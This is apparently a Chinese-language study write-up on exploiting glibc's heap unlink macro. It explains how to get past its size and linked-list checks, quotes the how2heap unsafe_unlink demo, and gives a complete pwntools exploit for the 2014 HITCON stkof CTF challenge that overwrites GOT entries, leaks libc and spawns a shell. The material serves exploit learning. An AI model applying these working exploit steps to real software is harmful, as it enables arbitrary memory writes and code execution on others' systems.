Unlink Exploit


引言

稀里糊涂的把linux heap的一些攻击方法看完一遍之后发现并没有什么效果,不会的还是不会。在zhz师傅的建议下,开始重新看源码学绕过。本篇内容是关于unlink的,也是回炉的第一篇。

概述

正常情况下,对于非mmap得到到的chunks,合并分为前向合并和后向合并:

  • 后向合并(backward)
    • 通过当前chunk的prev_inuse查看前一个chunk(物理上)是否空闲 前一个chunk是空闲的。不过默认情况下,最前面的chunk的前一个chunk是被标记为已分配的,即使这个chunk并不存在
    • 前一个chunk空闲,就合并。通过unlink操作将前一个chunk从它的binlist中拿出来,把当前块的大小和拿出来的chunk大小相加作为新的chunk的大小,然后修改当前块的指针指向前一个chunk
  • 前向合并(forward)
    • 通过当前chunk的下一个chunk的下一个chunk的prev_inuse判断当前chunk的下一个chunk是否空闲。为了得到下下一个块,使用当前chunk的指针加上当前chunk的大小和下一个chunk的大小。
    • 如果下一个chunk是空闲的,就合并。通过unlink操作将下一个chunk从它的binlist中拿出来,然后把它的大小和当前chunk的大小相加,作为新的chunk的大小

从源码看绕过

此处源码的版本是glibc-2.27

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                          \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
      malloc_printerr ("corrupted size vs. prev_size");                  \
    FD = P->fd;                                                          \
    BK = P->bk;                                                          \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \
      malloc_printerr ("corrupted double-linked list");                  \
    else {                                                               \
        FD->bk = BK;                                                     \
        BK->fd = FD;                                                     \
        if (!in_smallbin_range (chunksize_nomask (P))                    \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {           \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)       \
    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))           \
          malloc_printerr ("corrupted double-linked list (not small)");  \
            if (FD->fd_nextsize == NULL) {                               \
                if (P->fd_nextsize == P)                                 \
                  FD->fd_nextsize = FD->bk_nextsize = FD;                \
                else {                                                   \
                    FD->fd_nextsize = P->fd_nextsize;                    \
                    FD->bk_nextsize = P->bk_nextsize;                    \
                    P->fd_nextsize->bk_nextsize = FD;                    \
                    P->bk_nextsize->fd_nextsize = FD;                    \
                  }                                                      \
              } else {                                                   \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;            \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;            \
              }                                                          \
          }                                                              \
      }                                                                  \
}

对于smallbin的unlink我们实际上只需要关注这一部分:

#define unlink(AV, P, BK, FD) {                                          \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
      malloc_printerr ("corrupted size vs. prev_size");                  \
    FD = P->fd;                                                          \
    BK = P->bk;                                                          \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \
      malloc_printerr ("corrupted double-linked list");                  \
    else {                                                               \
        FD->bk = BK;                                                     \
        BK->fd = FD;                                                     \

对于这部分源码,我们需要绕过两个判断,才能达到最后将chunk从binlist拿出来的目的:

// 修改指针,取出chunk
FD->bk = BK;
BK->fd = FD;

第一个判断是大小的判断,即判断当前chunk(被取出)的大小和其物理上的后一个chunk中存储的大小是否相符,此处因为chunk处于释放状态,所以后一个chunk的prev_size为不为空:

__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)

这一个判断并不难理解,绕过也简答,只需覆写下一个chunk的prev_size即可。稍微复杂一点的是第二个判断:

FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

正常情况下,这一判断也好理解,但是绕过这一判断以及后续的利用过程就有些复杂了。

先看绕过,显然我们只需要使 FD->bk == P && BK->fd == P,这里并不能直接看出绕过的同时如何来利用unlink。通过how2heap的代码来分析:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
    fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
    fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
    fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call    unlink on.\n");
    fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.    \n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary    memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    fprintf(stderr, "We create a fake chunk inside chunk0.\n");
    fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that     P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that     P->bk->fd = P.\n");
    fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

    fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that     chunk0 starts where we placed our fake chunk.\n");
    fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we   shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its  new value: %p\n",(void*)chunk1_hdr[0]);
    fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1] &= ~1;

    fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting    chunk0_ptr.\n");
    fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob; f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;    hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);

    fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    fprintf(stderr, "Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    fprintf(stderr, "New Value: %s\n",victim_string);
}

两次malloc之后:

The global chunk0_ptr is at 0x602070, pointing to 0x603010
The victim chunk we are going to corrupt is at 0x6030a0

接下来设置fake_chunk的FD和BK:

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

大致布局如下:

            fake_FD->bk    +-+-+-+-+-+-+-+-+-+
            +--------------|     fake_FD     | <---+
            | fake_BK->fd  +-+-+-+-+-+-+-+-+-+     |
            |   +----------|     fake_BK     | <---|-----+
            |   |          +-+-+-+-+-+-+-+-+-+     |     |
            |   |          |                 |     |     |
            |   |          +-+-+-+-+-+-+-+-+-+     |     |
            +---+--------->|   &chunk0_ptr   |     |     |
                           +-+-+-+-+-+-+-+-+-+     |     |
                                                   |     |
                           +-+-+-+-+-+-+-+-+-+     |     |
                           |  chunk0_ptr[0]  |     |     |
                           +-+-+-+-+-+-+-+-+-+     |     |
                           |  chunk0_ptr[1]  |     |     |
                           +-+-+-+-+-+-+-+-+-+     |     |
                           |  chunk0_ptr[2]  | --- +     |
                           +-+-+-+-+-+-+-+-+-+           |
                           |  chunk0_ptr[3]  | ----------+
                           +-+-+-+-+-+-+-+-+-+

这里实际上是把fake_chunk放到chunk0里面,然后通过上述的步骤完成检测绕过,之后释放chunk1之前,伪造fake_chunk的大小,完成unlink。

接下来是绕过size的检测:

chunk1_hdr[0] = malloc_size;

然后,使fake_chunk变为空闲状态:

chunk1_hdr[1] &= ~1;

这这样一来,只要我们释放chunk1,那么fake_chunk就会被unlink,执行:

/*
* BK = fake_chunk -> bk;
* FD = fake_chunk -> fd;
*/
FD->bk = BK;
BK->fd = FD;

之后,chunk0_ptr的fd指针实际上就指向fake_chunk->fd

pwndbg> x/16gx 0x602070 - 0x20
0x602050:   0x0000000000000000  0x0000000000000000
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540  0x0000000000000000
0x602070 <chunk0_ptr>:  0x0000000000602058  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000000
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0:   0x0000000000000000  0x0000000000000000

这个时候我们是fake_chunk->fd指向任意地址,接着通过chunk0_ptr[0]就可以完成任意地址写了:

char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string; // fake_chunk's fd
...
chunk0_ptr[0] = 0x4141414142424242LL;

到此,整个unlink 的利用就结束了。

不难发现,这一过程实际上是欺骗glibc去进行一个指针的重新赋值操作,进而使其指向一个我们希望它指向的地址,完成任意地址读写。

题目试水-2014 HITCON stkof

题目分析

程序提供四个功能:

  1. allocate:申请堆块,大小自定
  2. edit: 编辑堆块内容,输入长度自定而且并没有与对应堆块的大小做比较,所以存在任意长度的堆溢出漏洞
  3. drop:删除堆块,常规的释放
  4. none:没发现有什么用,不过后门可以修改其中调用的strlen的got表完成信息泄露等工作

此外,分析可以知道,程序申请的堆块是放在bss段的一个数组里面的,所以这里可以通过unlink完成任意地址的读写

exp

# /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

s       = lambda data               :p.send(str(data))
sl      = lambda data               :p.sendline(str(data))
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def allocate(size):
  sl(1)
  sl(size)
  ru('OK\n')

def edit(index, content):
  sl(2)
  sl(index)
  sl(len(content))
  s(content)
  ru('OK\n')

def drop(index):
  sl(3)
  sl(index)


chunk1_addr = 0x0000000000602140 + 0x10

p = process('./stkof')
elf = ELF('./stkof',checksec=False)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']

allocate(0x100)
allocate(0x30) # id2
allocate(0x80) # id3

payload = p64(0) + p64(0x20) + p64(chunk1_addr - 0x18) + p64(chunk1_addr - 0x10) + p64(0x20)
payload += 'A'*8 + p64(0x30) + p64(0x90)
edit(2,payload)
# pause()

drop(3)
# pause()
payload = 'A'*8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2,payload)
# pause()

edit(0, p64(puts_plt))
drop(1)
ru('OK\n')
puts_addr = uu64(ru('\n'))
leak('puts_addr', puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
leak('system_addr', system_addr)
# pause()

edit(2, p64(system_addr))
sl('/bin/sh\x00')
itr()